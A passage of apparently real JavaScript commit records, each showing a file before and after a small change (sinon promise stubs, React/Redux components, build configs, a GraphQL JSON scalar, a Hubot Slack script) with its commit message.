    return expectedValue.test(actualValue);
  }
  return expectedValue === actualValue;
}

Document return value of compareObjects


'use strict';

var Promise = require('bluebird');
var sinon   = require('sinon');

function thenable (promiseFactory) {
  return Object.getOwnPropertyNames(Promise.prototype)
    .filter(function (method) {
      return method !== 'then';
    })
    .reduce(function (acc, method) {
      acc[method] = function () {
        var args = arguments;
        var promise = this.then();
        return promise[method].apply(promise, args);
      };
      return acc;
    },
    {
      then: function (resolve, reject) {
        return promiseFactory().then(resolve, reject);
      }
    });
}

function resolves (value) {
  /*jshint validthis:true */
  return this.returns(thenable(function () {
    return new Promise(function (resolve) {
      resolve(value);
    });
  }));
}

sinon.stub.resolves = resolves;
sinon.behavior.resolves = resolves;

function rejects (err) {
  if (typeof err === 'string') {
    err = new Error(err);
  }
  /*jshint validthis:true */
  return this.returns(thenable(function () {
    return new Promise(function (resolve, reject) {
      reject(err);
    });
  }));
}

sinon.stub.rejects = rejects;
sinon.behavior.rejects = rejects;

module.exports = function (_Promise_) {
  if (typeof _Promise_ !== 'function') {
    throw new Error('A Promise constructor must be provided');
  }
  else {
    Promise = _Promise_;
  }
  return sinon;
};

'use strict';

var Promise = require('bluebird');
var sinon   = require('sinon');

function thenable (promiseFactory) {
  return Object.getOwnPropertyNames(Promise.prototype)
    .filter(function (method) {
      return method !== 'then';
    })
    .reduce(function (acc, method) {
      acc[method] = function () {
        var args = arguments;
        var promise = this.then();
        return promise[method].apply(promise, args);
      };
      return acc;
    },
    {
      then: function (onFulfill, onReject) {
        return promiseFactory().then(onFulfill, onReject);
      }
    });
}

function resolves (value) {
  /*jshint validthis:true */
  return this.returns(thenable(function () {
    return new Promise(function (resolve) {
      resolve(value);
    });
  }));
}

sinon.stub.resolves = resolves;
sinon.behavior.resolves = resolves;

function rejects (err) {
  if (typeof err === 'string') {
    err = new Error(err);
  }
  /*jshint validthis:true */
  return this.returns(thenable(function () {
    return new Promise(function (resolve, reject) {
      reject(err);
    });
  }));
}

sinon.stub.rejects = rejects;
sinon.behavior.rejects = rejects;

module.exports = function (_Promise_) {
  if (typeof _Promise_ !== 'function') {
    throw new Error('A Promise constructor must be provided');
  }
  else {
    Promise = _Promise_;
  }
  return sinon;
};

Change argument names for thenable for clarity


var extend = require('extend');

var Plom = function(options) {
  this.options = options || {};
  this.data = this.options.data || {};
}

Plom.extend = function(object) {
  var NewPlom = function(options) {
    this.options = options || {};
    this.data = this.options.data || {};

    if(this.initialize) {
      this.initialize(options);
    }
  };

  object = object || null;

  NewPlom.prototype = extend({}, this.prototype, object);
  NewPlom.extend = this.extend.bind(this);

  return NewPlom;
};

Plom.prototype.set = function(key, val) {
  var argsLength = Array.prototype.slice.call(arguments).length;

  if (argsLength === 2) {
    this.data[key] = val;
    return this;
  }

  this.data = key;
  return this;
};

Plom.prototype.get = function(key) {
  if(key) {
    return this.data[key];
  }

  return this.data;
};

module.exports = Plom;

var extend = require('extend');

var Plom = function(options) {
  this.options = options || {};
  this.data = this.options.data || {};
}

Plom.extend = function(object) {
  var NewPlom = function(options) {
    this.options = options || {};
    this.data = this.options.data || {};

    if(this.initialize) {
      this.initialize(options);
    }
  };

  object = object || null;

  NewPlom.prototype = extend({}, this.prototype, object);
  NewPlom.extend = this.extend.bind(this);

  return NewPlom;
};

Plom.prototype.set = function(key, val) {
  if (typeof key === 'object') {
    this.data = key;
    return this;
  }

  this.data[key] = val;
  return this;
};

Plom.prototype.get = function(key) {
  if(key) {
    return this.data[key];
  }

  return this.data;
};

module.exports = Plom;

Verify key type instead of value


export default {
  extends: ['airbnb-base'],
  rules: {
    "indent": [ 2, 2, { "SwitchCase": 1} ],
    "space-before-blocks": [2, "never"],
    "max-len": [1, 120, 4],
    "comma-dangle": [2, 'always-multiline'],
    "no-underscore-dangle": 0,
    "no-plusplus": 0,
    "import/no-extraneous-dependencies": [2, { }],
  },
};

export default {
  extends: ['airbnb-base'],
  rules: {
    "indent": [ 2, 2, { "SwitchCase": 1} ],
    "space-before-blocks": [2, "never"],
    "max-len": [1, 120, 4],
    "comma-dangle": [2, 'always-multiline'],
    "no-underscore-dangle": 1,
    "no-plusplus": 1,
    "import/no-extraneous-dependencies": [2, { }],
  },
};

Make warnings instead of silent


'use strict'

import validateKey from 'firebase-validate-key'
import extend from 'xtend'
import find from 'babel-runtime/core-js/array/find'

const illegal = ['.', '$', '#', '[', ']', '/']

export default function valueToFirebase (value) {
  if (typeof value === 'undefined') {
    throw new Error('Firebase cannot accept undefined values')
  }
  if (typeof value === 'function') {
    throw new Error(`Firebase cannot accept function values: ${value.toString()}`)
  }
  if (value instanceof Date || value instanceof RegExp || value === null) {
    return null
  }
  if (typeof value === 'object') {
    if (Array.isArray(value)) {
      if (!value.length) return null
      value = extend({}, value)
    }
    const keys = Object.keys(value)
    if (!keys.length) return null
    keys.forEach(validateKey)
  }
  return value
}

'use strict'

import validateKey from 'firebase-validate-key'
import extend from 'xtend'
import find from 'babel-runtime/core-js/array/find'

export default function valueToFirebase (value) {
  if (typeof value === 'undefined') {
    throw new Error('Firebase cannot accept undefined values')
  }
  if (typeof value === 'function') {
    throw new Error(`Firebase cannot accept function values: ${value.toString()}`)
  }
  if (value instanceof Date || value instanceof RegExp || value === null) {
    return null
  }
  if (typeof value === 'object') {
    if (Array.isArray(value)) {
      if (!value.length) return null
      value = extend({}, value)
    }
    const keys = Object.keys(value)
    if (!keys.length) return null
    keys.forEach(validateKey)
  }
  return value
}

Remove array of illegal key chars


'use strict';

/**
 * Module dependencies.
 */
var mongoose = require('mongoose'),
    passport = require('passport'),
    logger = require('mean-logger');

/**
 * Main application entry file.
 * Please note that the order of loading is important.
 */

// Initializing system variables
var config = require('./server/config/config');
var db = mongoose.connect(config.db);

// Bootstrap Models, Dependencies, Routes and the app as an express app
var app = require('./server/config/system/bootstrap')(passport, db);

// Start the app by listening on <port>, optional hostname
app.listen(config.port, config.hostname);
console.log('Mean app started on port ' + config.port + ' (' + process.env.NODE_ENV + ')');

// Initializing logger
logger.init(app, passport, mongoose);

// Expose app
exports = module.exports = app;

'use strict';

/**
 * Module dependencies. Test commit
 */
var mongoose = require('mongoose'),
    passport = require('passport'),
    logger = require('mean-logger');

/**
 * Main application entry file.
 * Please note that the order of loading is important.
 */

// Initializing system variables
var config = require('./server/config/config');
var db = mongoose.connect(config.db);

// Bootstrap Models, Dependencies, Routes and the app as an express app
var app = require('./server/config/system/bootstrap')(passport, db);

// Start the app by listening on <port>, optional hostname
app.listen(config.port, config.hostname);
console.log('Mean app started on port ' + config.port + ' (' + process.env.NODE_ENV + ')');

// Initializing logger
logger.init(app, passport, mongoose);

// Expose app
exports = module.exports = app;

Test Commit for Test App.


var preloaders = require("./preloaders");
var loaders = require("./loaders");
var webpack = require('webpack');

module.exports = {
  entry: ['./src/index.ts'],
  output: {
    filename: 'build.js',
    path: 'tmp'
  },
  resolve: {
    root: __dirname,
    extensions: ['', '.ts', '.js', '.json']
  },
  resolveLoader: {
    modulesDirectories: ["node_modules"]
  },
  devtool: "source-map-inline",
  module: {
    preLoaders: preloaders,
    loaders: loaders,
    postLoaders: [
      {
        test: /^((?!\.spec\.ts).)*.ts$/,
        exclude: /(node_modules|bower_components)/,
        loader: 'istanbul-instrumenter'
      }
    ]
  },
  tslint: {
        emitErrors: true,
        failOnHint: true
  }
};

const preloaders = require("./preloaders");
const loaders = require("./loaders");
const webpack = require("webpack");

module.exports = {
  entry: ["./src/index.ts"],
  output: {
    filename: "build.js",
    path: "tmp"
  },
  resolve: {
    root: __dirname,
    extensions: [".ts", ".js", ".json"]
  },
  resolveLoader: {
    modulesDirectories: ["node_modules"]
  },
  devtool: "source-map-inline",
  module: {
    preLoaders: preloaders,
    loaders: loaders,
    postLoaders: [
      {
        test: /^((?!\.spec\.ts).)*.ts$/,
        exclude: /(node_modules|bower_components)/,
        loader: "istanbul-instrumenter"
      }
    ]
  },
  tslint: {
      emitErrors: true,
      failOnHint: true
  }
};

Replace single quotes -> double quotes, var -> const, spaces


import ConfigStore from 'configstore'

const defaults = {}
let config = null

const getUserConfig = () => {
  if (!config) {
    config = new ConfigStore('sanity', defaults, {globalConfigPath: true})
  }

  return config
}

export default getUserConfig

import ConfigStore from 'configstore'

const staging = typeof process.env.SANITY_STAGING !== 'undefined' // eslint-disable-line no-process-env
const defaults = {}
let config = null

const getUserConfig = () => {
  if (!config) {
    config = new ConfigStore(
      staging ? 'sanity-staging' : 'sanity',
      defaults,
      {globalConfigPath: true}
    )
  }

  return config
}

export default getUserConfig

Use separate user config for staging


const _ = require('lodash');

module.exports = function getSectionPages(config, sectionName, pages) {
  if (sectionName === '/') {
    const paths = config.paths['/'].content();

    if (paths.keys) {
      return _.uniq(paths.keys().map(
        k => ({
          url: _.trim(k.split('.')[1], '/')
        })
      ));
    }

    // An index page
    return [paths];
  }

  return _.filter(
    pages,
    o => o.sectionName === sectionName && o.type === 'page'
  );
};

const _ = require('lodash');

module.exports = function getSectionPages(config, sectionName, pages) {
  return _.filter(
    pages,
    o => o.sectionName === sectionName && o.type === 'page'
  );
};

Drop special index handling from `getSectionPages`


// create a new signaller, connecting to the target switchboard
var signaller = require('..')('http://rtc.io/switchboard');

// when a new peer is announced, log it
signaller.on('peer:announce', function(data) {
 console.log('new peer found in room: ', data);
});

signaller.on('peer:disconnected', function(id) {
  console.log('peer ' + id + ' has been disconnected');
});

// when a peer leaves the switchboard, log it
signaller.on('peer:leave', function(id) {
  console.log('peer ' + id + ' has left the room');
});

// for our sanity, pop a message once we are connected
signaller.once('connected', function() {
  console.log('we have successfully connected');
});

// send through an announce message
// this will occur once the primus socket has been opened and active
signaller.announce({ room: 'signaller-getting-started' });

// create a new signaller, connecting to the target switchboard
var signaller = require('..')('//switchboard.rtc.io/');

// when a new peer is announced, log it
signaller.on('peer:announce', function(data) {
 console.log('new peer found in room: ', data);
});

signaller.on('peer:disconnected', function(id) {
  console.log('peer ' + id + ' has been disconnected');
});

// when a peer leaves the switchboard, log it
signaller.on('peer:leave', function(id) {
  console.log('peer ' + id + ' has left the room');
});

// for our sanity, pop a message once we are connected
signaller.once('connected', function() {
  console.log('we have successfully connected');
});

// send through an announce message
// this will occur once the primus socket has been opened and active
signaller.announce({ room: 'signaller-getting-started' });

Update example to reflect current switchboard urls


'use strict';

const includes = require('lodash/includes');

// tests
module.exports = function is(element, ufo) {
  return (!ufo || typeof ufo === 'string' && element.matches && element.matches(ufo)) ||
    ((ufo instanceof Node) && element === ufo) ||
    ((ufo instanceof Array) && includes(ufo, element));
};

'use strict';

const includes = require('lodash/includes');

// tests
module.exports = function is(element, ufo) {
  return (!ufo || typeof ufo === 'string' && element.matches && element.matches(ufo)) ||
    ((ufo instanceof Node) && element === ufo) ||
    (ufo.length && includes(ufo, element));
};

Use .length instead of instanceof Array


import React, {Component} from 'react';
import {connect} from 'react-redux';
import './list.css';

export class List extends Component {
    render() {
        return (

                {this.props.countries.map(country => {
                    return (

{country.name}

                    )
                })}

        );
    }
}

const mapStateToProps = (state) => {
    const countries = state.countries;
    return {
        countries
    };
};

export default connect(mapStateToProps)(List)

import React, {Component} from 'react';
import {connect} from 'react-redux';
import { Link } from 'react-router';
import './list.css';

export class List extends Component {
    render() {
        return (

                {this.props.countries.map(country => {
                    return (

{country.name}

                                <Link to="/country">

                                </Link>

                    )
                })}

        );
    }
}

const mapStateToProps = (state) => {
    const countries = state.countries;
    return {
        countries
    };
};

export default connect(mapStateToProps)(List)

Create route for particular country once image is clicked


import React from 'react';
import { Provider } from 'react-redux';
import { Router } from 'react-router';
import { ReduxAsyncConnect, loadOnServer } from 'redux-async-connect';

export function createForServer(store, renderProps) {
  return new Promise((resolve, reject) => {
    loadOnServer(renderProps, store)
      .then(() => {
        const root = (
          <Provider store={store} key="provider">

              <ReduxAsyncConnect {...renderProps} />

          </Provider>
        );
        resolve({ root });
      })
      .catch((err) => {
        reject(err);
      });
  });
}

export function createForClient(store, { routes, history, devComponent }) {
  const component = (
    <Router history={history}>
      {routes}
    </Router>
  );
  const root = (
    <Provider store={store} key="provider">

        {component}
        {devComponent}

    </Provider>
  );

  return Promise.resolve({ root });
}

import React from 'react';
import { Provider } from 'react-redux';
import { Router } from 'react-router';
import { ReduxAsyncConnect, loadOnServer } from 'redux-async-connect';

export function createForServer(store, renderProps) {
  return new Promise((resolve, reject) => {
    loadOnServer(renderProps, store)
      .then(() => {
        const root = (
          <Provider store={store} key="provider">

              <ReduxAsyncConnect {...renderProps} />

          </Provider>
        );
        resolve({ root });
      })
      .catch((err) => {
        reject(err);
      });
  });
}

export function createForClient(store, { routes, history, devComponent }) {
  const component = (
    <Router render={(props) => <ReduxAsyncConnect {...props} />} history={history}>
      {routes}
    </Router>
  );
  const root = (
    <Provider store={store} key="provider">

        {component}
        {devComponent}

    </Provider>
  );

  return Promise.resolve({ root });
}

Add redux-async-connect wrapper on client


/*! resol-vbus | Copyright (c) 2013-2014, Daniel Wippermann | MIT license */
'use strict';

var Q = require('q');

var utils = {

    /**
     * @see http://stackoverflow.com/questions/105034/how-to-create-a-guid-uuid-in-javascript
     */
    generateGUID: function() {
        var s4 = function() {
            return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
        };

        var guid = [
            s4(),
            s4(),
            '-',
            s4(),
            '-',
            s4(),
            '-',
            s4(),
            '-',
            s4(),
            s4(),
            s4(),
        ].join('');

        return guid;
    },

    promise: function(callback, thisArg) {
        var deferred = Q.defer();
        var promise = deferred.promise;

        var done = function(err, result) {
            if (deferred) {
                if (err) {
                    deferred.reject(err);
                } else {
                    deferred.resolve(result);
                }

                deferred = null;
            }
        };

        var resolve = function(result) {
            done(null, result);
        };

        var reject = function(reason) {
            done(reason);
        };

        try {
            callback.call(thisArg, resolve, reject);
        } catch (ex) {
            done(ex);
        }

        return promise;
    },

};

module.exports = utils;

/*! resol-vbus | Copyright (c) 2013-2014, Daniel Wippermann | MIT license */
'use strict';

var Q = require('q');

var utils = {

    /**
     * @see http://stackoverflow.com/questions/105034/how-to-create-a-guid-uuid-in-javascript
     */
    generateGUID: function() {
        var s4 = function() {
            return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
        };

        var guid = [
            s4(),
            s4(),
            '-',
            s4(),
            '-',
            s4(),
            '-',
            s4(),
            '-',
            s4(),
            s4(),
            s4(),
        ].join('');

        return guid;
    },

    promise: function(callback, thisArg) {
        var deferred = Q.defer();
        var promise = deferred.promise;

        var resolve = function(result) {
            if (deferred) {
                    deferred.resolve(result);

                deferred = null;
            }
        };

        var reject = function(reason) {
            if (deferred) {
                deferred.reject(reason);

                deferred = null;
            }
        };

        var notify = function(value) {
            if (deferred) {
                deferred.notify(value);
            }
        };

        try {
            callback.call(thisArg, resolve, reject, notify);
        } catch (ex) {
            reject(ex);
        }

        return promise;
    },

};

module.exports = utils;

Refactor promise helper function to include notify.


export const matcher = ({ option, searchTerm = '', searchIndices }) => {
  searchTerm = searchTerm.trim().toLowerCase()
  if (typeof option === 'string') {
    return option.indexOf(searchTerm) !== -1
  }
  if (searchIndices) {
    return searchIndices.some((index) => {
      return (option[index] || '').toLowerCase().indexOf(searchTerm) !== -1
    })
  }
  return true
}

export const matcher = ({ option, searchTerm = '', searchIndices }) => {
  searchTerm = searchTerm.trim().toLowerCase()
  if (typeof option === 'string') {
    return option.toLowerCase().indexOf(searchTerm) !== -1
  }
  if (searchIndices) {
    return searchIndices.some((index) => {
      return (option[index] || '').toLowerCase().indexOf(searchTerm) !== -1
    })
  }
  return true
}

Fix matcher for string option


const express     = require('express');
const bodyParser  = require('body-parser');

const log      = require('./logger')(__filename);

const DEFAULT_ADDRESS = 'localhost';
const DEFAULT_PORT = 3000;

module.exports = class Core {
  constructor(port = DEFAULT_PORT, address = DEFAULT_ADDRESS) {
    this._tgApiKey = null;
    this._webhookUrl = null;
    this._port = port;
    this._address = address;

    this._server = express();
    this._server.use(bodyParser.urlencoded({ extended: false }));
    this._server.use(bodyParser.json());

    // # Start the server
    this._server.listen(this._port, this._address, () => {
      log.info(`Mankov started at ${this._address}:${this._port}`);
    });
  }

  subscribeWebhook(url, callback) {
    if (!this._webhookUrl) {
      this._webhookUrl = url;
      this._server.post(url, (req, res) => {
        callback(req);
      });
    }
  }
};

const express     = require('express');
const bodyParser  = require('body-parser');

const log      = require('./logger')(__filename);

const DEFAULT_HOSTNAME = 'localhost';
const DEFAULT_PORT = 3000;

module.exports = class Core {
  constructor(port = DEFAULT_PORT, hostname = DEFAULT_HOSTNAME) {
    this._tgApiKey = null;
    this._webhookUrl = null;
    this._port = port;
    this._hostname = hostname;

    this._server = startHttpServer(port, hostname);
  }

  subscribeWebhook(url, callback) {
    if (!this._webhookUrl) {
      this._webhookUrl = url;
      this._server.post(url, (req, res) => {
        callback(req);
      });
    }
  }
};

function startHttpServer(port, hostname) {
  const server = express();

  // Add required middlewares
  server.use(bodyParser.urlencoded({ extended: false }));
  server.use(bodyParser.json());

  // Start!
  server.listen(port, hostname, () => {
    log.info(`HTTP-server started at ${this._hostname}:${this._port}`);
  });

  return server;
}

Move server initializing into dedicated function


// Return Promise
const imageMerge = (sources = []) => new Promise(resolve => {
	// Load sources
	const images = sources.map(src => new Promise(resolve => {
		const img = new Image();
		img.onload = () => resolve(img);
		img.src = src;
	}));

	// Create canvas
	const canvas = document.createElement('canvas');
	const ctx = canvas.getContext('2d');

	// When sources have loaded
	Promise.all(images)
		.then(images => {
			// Set canvas dimensions
			canvas.width = Math.max(images.map(img => img.width));
			canvas.height = Math.max(images.map(img => img.height));

			// Draw images to canvas
			images.forEach(img => ctx.drawImage(img, 0, 0));

			// Resolve data uri
			resolve(canvas.toDataURL());
		});
});

module.exports = imageMerge;

// Return Promise
const imageMerge = (sources = []) => new Promise(resolve => {
	// Load sources
	const images = sources.map(source => new Promise(resolve => {
		const img = new Image();
		img.onload = () => resolve(Object.assign({}, source, {img}));
		img.src = source.src;
	}));

	// Create canvas
	const canvas = document.createElement('canvas');
	const ctx = canvas.getContext('2d');

	// When sources have loaded
	Promise.all(images)
		.then(images => {
			// Set canvas dimensions
			canvas.width = Math.max(...images.map(image => image.img.width));
			canvas.height = Math.max(...images.map(image => image.img.height));

			// Draw images to canvas
			images.forEach(image => ctx.drawImage(image.img, image.x || 0, image.y || 0));

			// Resolve data uri
			resolve(canvas.toDataURL());
		});
});

module.exports = imageMerge;

Allow custom positions to be passed through


import React from 'react';
import ReactDOM from 'react-dom';

const css = require('./app.scss');

ReactDOM.render(

Hello World React Template
,
    document.querySelector('.container')
);

import React, { Component } from 'react';
import ReactDOM from 'react-dom';

const css = require('./app.scss');

class App extends Component {
  render() {

Hello World React Template

  }
}

ReactDOM.render(
    <App/>,
    document.querySelector('.container')
);

Change app to a class type component


'use strict'

var Renderer = require('./renderer/index')

window.addEventListener('load', function() {
  var canvas = document.createElement('canvas')
  document.body.appendChild(canvas)

  var renderer = new Renderer(canvas)

  var resizeTimeout = null
  window.addEventListener('resize', function() {
    clearTimeout(resizeTimeout)

    resizeTimeout = setTimeout(function() {
      renderer.updateSize()
      renderer.draw()
    }, 300)
  })

  renderer.draw()
})

'use strict'

var Renderer = require('./renderer/index')

window.addEventListener('load', function() {
  document.body.style.overflow = 'hidden'

  var canvas = document.createElement('canvas')
  document.body.appendChild(canvas)

  var renderer = new Renderer(canvas)

  var resizeTimeout = null
  window.addEventListener('resize', function() {
    clearTimeout(resizeTimeout)

    resizeTimeout = setTimeout(function() {
      renderer.updateSize()
      renderer.draw()
    }, 300)
  })

  renderer.draw()
})

Set overflow to hidden on body to prevent scrolling


import { GraphQLScalarType } from 'graphql';
import { Kind } from 'graphql/language';

function identity(value) {
  return value;
}

function parseLiteral(ast) {
  switch (ast.kind) {
    case Kind.STRING:
    case Kind.BOOLEAN:
      return ast.value;
    case Kind.INT:
    case Kind.FLOAT:
      return parseFloat(ast.value);
    case Kind.OBJECT: {
      const value = Object.create(null);
      ast.fields.forEach((field) => {
        value[field.name.value] = parseLiteral(field.value);
      });

      return value;
    }
    case Kind.LIST:
      return ast.values.map(parseLiteral);
    case Kind.NULL:
      return null;
    default:
      return undefined;
  }
}

export default new GraphQLScalarType({
  name: 'JSON',
  description:
    'The `JSON` scalar type represents JSON values as specified by ' +
    '[ECMA-404](http://www.ecma-international.org/' +
    'publications/files/ECMA-ST/ECMA-404.pdf).',
  serialize: identity,
  parseValue: identity,
  parseLiteral,
});

import { GraphQLScalarType } from 'graphql';
import { Kind } from 'graphql/language';

function identity(value) {
  return value;
}

function parseLiteral(ast, variables) {
  switch (ast.kind) {
    case Kind.STRING:
    case Kind.BOOLEAN:
      return ast.value;
    case Kind.INT:
    case Kind.FLOAT:
      return parseFloat(ast.value);
    case Kind.OBJECT: {
      const value = Object.create(null);
      ast.fields.forEach(field => {
        value[field.name.value] = parseLiteral(field.value, variables);
      });

      return value;
    }
    case Kind.LIST:
      return ast.values.map(n => parseLiteral(n, variables));
    case Kind.NULL:
      return null;
    case Kind.VARIABLE: {
      const name = ast.name.value;
      return variables ? variables[name] : undefined;
    }
    default:
      return undefined;
  }
}

export default new GraphQLScalarType({
  name: 'JSON',
  description:
    'The `JSON` scalar type represents JSON values as specified by ' +
    '[ECMA-404](http://www.ecma-international.org/' +
    'publications/files/ECMA-ST/ECMA-404.pdf).',
  serialize: identity,
  parseValue: identity,
  parseLiteral,
});

Add support for variables in JSON subfields


/**
 * Copyright 2004-present Facebook. All Rights Reserved.
 *
 * @providesModule ScrollViewPropTypes
 */
'use strict';

var EdgeInsetsPropType = require('EdgeInsetsPropType');
var PointPropType = require('PointPropType');
var PropTypes = require('ReactPropTypes');
var StyleSheetPropType = require('StyleSheetPropType');
var ViewStylePropTypes = require('ViewStylePropTypes');

var nativePropType = require('nativePropType');

var ScrollViewPropTypes = {
  automaticallyAdjustContentInsets: nativePropType(PropTypes.bool), // true
  contentInset: nativePropType(EdgeInsetsPropType), // zeroes
  contentOffset: nativePropType(PointPropType), // zeroes
  onScroll: PropTypes.func,
  onScrollAnimationEnd: PropTypes.func,
  scrollEnabled: nativePropType(PropTypes.bool), // true
  scrollIndicatorInsets: nativePropType(EdgeInsetsPropType), // zeros
  showsHorizontalScrollIndicator: nativePropType(PropTypes.bool),
  showsVerticalScrollIndicator: nativePropType(PropTypes.bool),
  style: StyleSheetPropType(ViewStylePropTypes),
  throttleScrollCallbackMS: nativePropType(PropTypes.number), // 200ms
};

module.exports = ScrollViewPropTypes;

/**
 * Copyright 2004-present Facebook. All Rights Reserved.
 *
 * @providesModule ScrollViewPropTypes
 */
'use strict';

var EdgeInsetsPropType = require('EdgeInsetsPropType');
var PointPropType = require('PointPropType');
var PropTypes = require('ReactPropTypes');
var StyleSheetPropType = require('StyleSheetPropType');
var ViewStylePropTypes = require('ViewStylePropTypes');

var nativePropType = require('nativePropType');

var ScrollViewPropTypes = {
  automaticallyAdjustContentInsets: nativePropType(PropTypes.bool), // true
  contentInset: nativePropType(EdgeInsetsPropType), // zeroes
  contentOffset: nativePropType(PointPropType), // zeroes
  onScroll: PropTypes.func,
  onScrollAnimationEnd: PropTypes.func,
  scrollEnabled: nativePropType(PropTypes.bool), // true
  scrollIndicatorInsets: nativePropType(EdgeInsetsPropType), // zeros
  showsHorizontalScrollIndicator: nativePropType(PropTypes.bool),
  showsVerticalScrollIndicator: nativePropType(PropTypes.bool),
  style: StyleSheetPropType(ViewStylePropTypes),
  throttleScrollCallbackMS: nativePropType(PropTypes.number), // null
};

module.exports = ScrollViewPropTypes;

Make map zoomable on double-tap


import S from 'sanctuary';

export const has =
  S.meld([S.gets, S.isJust]);

const hasFunc = has(Function);
const hasString = has(String);

const payload = ['payload'];
const path = key => payload.concat(key);
export const stringPayload = hasString(payload);

export const hasSubscribe = hasFunc(path('subscribe'));
export const hasKey = hasString(path('key'));
export const hasGet = hasFunc(path('get'));

export const actionCase =
  S.B(S.toUpper, x => x.replace('.', '_'));

export const createAction =
  type => (payload = {}, meta = {}) => ({ type, payload, meta });

export const injectTracker =
  (tracker, middlewares) => middlewares.map(m => m(tracker));

export const errorWith = x => (f, msg) => {
  if (!f(x)) {
    throw new Error(msg);
  }
};

import S from 'sanctuary';

export const has =
  S.meld([S.gets, S.isJust]);

const hasFunc = has(Function);
const hasString = has(String);

const payload = ['payload'];
const path = key => payload.concat(key);
export const stringPayload = hasString(payload);

export const hasSubscribe = hasFunc(path('subscribe'));
export const hasKey = hasString(path('key'));
export const hasGet = hasFunc(path('get'));

export const actionCase =
  S.B(S.toUpper, x => x.replace(/\./g, '_'));

export const createAction =
  type => (payload = {}, meta = {}) => ({ type, payload, meta });

export const injectTracker =
  (tracker, middlewares) => middlewares.map(m => m(tracker));

export const errorWith = x => (f, msg) => {
  if (!f(x)) {
    throw new Error(msg);
  }
};

Replace all . in for action.types


import commonjs from '@rollup/plugin-commonjs';
import glslify from 'rollup-plugin-glslify';
import resolve from '@rollup/plugin-node-resolve';
import copy from "rollup-plugin-copy";

export default {
    input: ['source/gltf-sample-viewer.js'],
    output: [
        {
            file: 'dist/gltf-viewer.js',
            format: 'cjs',
            sourcemap: true
        },
        {
            file: 'dist/gltf-viewer.module.js',
            format: 'esm',
            sourcemap: true,
        }
    ],
    plugins: [
        glslify(),
        resolve({
            browser: true,
            preferBuiltins: false
        }),
        commonjs(),
        copy({
            targets: [
                {
                    src: [
                        "assets/images/lut_charlie.png",
                        "assets/images/lut_ggx.png",
                        "assets/images/lut_sheen_E.png",
                    ], dest: "dist/assets"
                },
                { src: ["source/libs/*", "!source/libs/hdrpng.js"], dest: "dist/libs" }
            ]
        })
    ]
};

import commonjs from '@rollup/plugin-commonjs';
import glslify from 'rollup-plugin-glslify';
import resolve from '@rollup/plugin-node-resolve';
import copy from "rollup-plugin-copy";

export default {
    input: ['source/gltf-sample-viewer.js'],
    output: [
        {
            file: 'dist/gltf-viewer.js',
            format: 'cjs',
            sourcemap: true
        },
        {
            file: 'dist/gltf-viewer.module.js',
            format: 'esm',
            sourcemap: true,
        }
    ],
    plugins: [
        glslify(),
        commonjs(),
        resolve({
            browser: true,
            preferBuiltins: false
        }),
        copy({
            targets: [
                {
                    src: [
                        "assets/images/lut_charlie.png",
                        "assets/images/lut_ggx.png",
                        "assets/images/lut_sheen_E.png",
                    ], dest: "dist/assets"
                },
                { src: ["source/libs/*", "!source/libs/hdrpng.js"], dest: "dist/libs" }
            ]
        })
    ]
};

Swap order of commonjs and resolve


document.getElementById("ayuda").setAttribute("aria-current", "page");

var aside = document.getElementById("complementario");

var form = document.createElement("FORM");
var p = document.createElement("P");
var label = document.createElement("LABEL");
label.setAttribute("for", "repo");
t = document.createTextNode("cuenta/repositorio de GitHub");
label.appendChild(t);
var input = document.createElement("INPUT");
input.setAttribute("type", "text");
input.setAttribute("id", "repo");
input.setAttribute("name", "repo");
label.appendChild(input);
var submit = document.createElement("INPUT");
submit.setAttribute("id", "submit");
submit.setAttribute("type", "button");
submit.setAttribute("value", "Consultar descargas de última versión");
p.appendChild(label);
form.appendChild(p);
form.appendChild(submit);
aside.appendChild(form);

$(document).ready(function () {
	$("#submit").click(function () {
		$.getJSON("https://api.github.com/repos/releases/latest", function(json) {
			var name = json.name;
		});
	});
});

document.getElementById("ayuda").setAttribute("aria-current", "page");

var aside = document.getElementById("complementario");

var form = document.createElement("FORM");
var p = document.createElement("P");
var label = document.createElement("LABEL");
label.setAttribute("for", "repo");
t = document.createTextNode("cuenta/repositorio de GitHub");
label.appendChild(t);
var input = document.createElement("INPUT");
input.setAttribute("type", "text");
input.setAttribute("id", "repo");
input.setAttribute("name", "repo");
label.appendChild(input);
var submit = document.createElement("INPUT");
submit.setAttribute("id", "submit");
submit.setAttribute("type", "button");
submit.setAttribute("value", "Consultar descargas de última versión");
p.appendChild(label);
form.appendChild(p);
form.appendChild(submit);
aside.appendChild(form);

$(document).ready(function () {
	$("#submit").click(function () {
		$.getJSON("https://api.github.com/repos/" + input.value + "releases/latest", function(json) {
			var name = json.name;
		});
	});
});

Add proper URL for getting json on GitHub


module.exports = function(robot){

	robot.slack = {

		baseApiUrl: 'https://slack.com/api/',

		createApiUrl: function (suffix){
			return robot.slack.baseApiUrl + suffix;
		}
	};

	robot.respond(/slack token/i, function(res){
		if (robot.auth.isAdmin(res.message.user)){
			res.reply(process.env.HUBOT_SLACK_TOKEN);
		}
	});

	robot.respond(/channel list/i, function(res){
		if (robot.auth.isAdmin(res.message.user)){
			var data = {
				token: process.env.HUBOT_SLACK_TOKEN,
				exclude_archived: 1
			};

			robot.http(robot.slack.createApiUrl('channels.list' + robot.util.toQueryString(data)))
			.get()(function(err, response, body){
				if (!!err){
					res.reply('There was an error processing your request');
					return;
				}
				var bodyJson = JSON.parse(body);
				res.send(robot.util.formatJson(bodyJson));
			});
		}
	});
}

var _ = require('underscore');

module.exports = function(robot){

	robot.slack = {

		baseApiUrl: 'https://slack.com/api/',

		createApiUrl: function (suffix, queryString){
			if (!!queryString){
				if (_.isObject(queryString))
					queryString = robot.util.toQueryString(queryString);
				return robot.slack.baseApiUrl + suffix + queryString;
			}
			return robot.slack.baseApiUrl + suffix;
		}
	};

	robot.respond(/channel list/i, function(res){
		if (robot.auth.isAdmin(res.message.user)){
			var data = {
				token: process.env.HUBOT_SLACK_TOKEN,
				exclude_archived: 1
			};

			robot.http(robot.slack.createApiUrl('channels.list', data))
			.get()(function(err, response, body){
				if (!!err){
					res.reply('There was an error processing your request');
					return;
				}
				var bodyJson = JSON.parse(body);
				res.send(robot.util.formatJson(bodyJson));
			});
		}
	});
}

Make createApiUrl easier to use


/**
 * ==============================
 * Your Javascript Code Goes Here
 * ==============================
 **/

'use strict';
/* global Monogatari */
/* global monogatari */

const { $_ready } = Monogatari;

$_ready (() => {
	monogatari.init ('#monogatari');
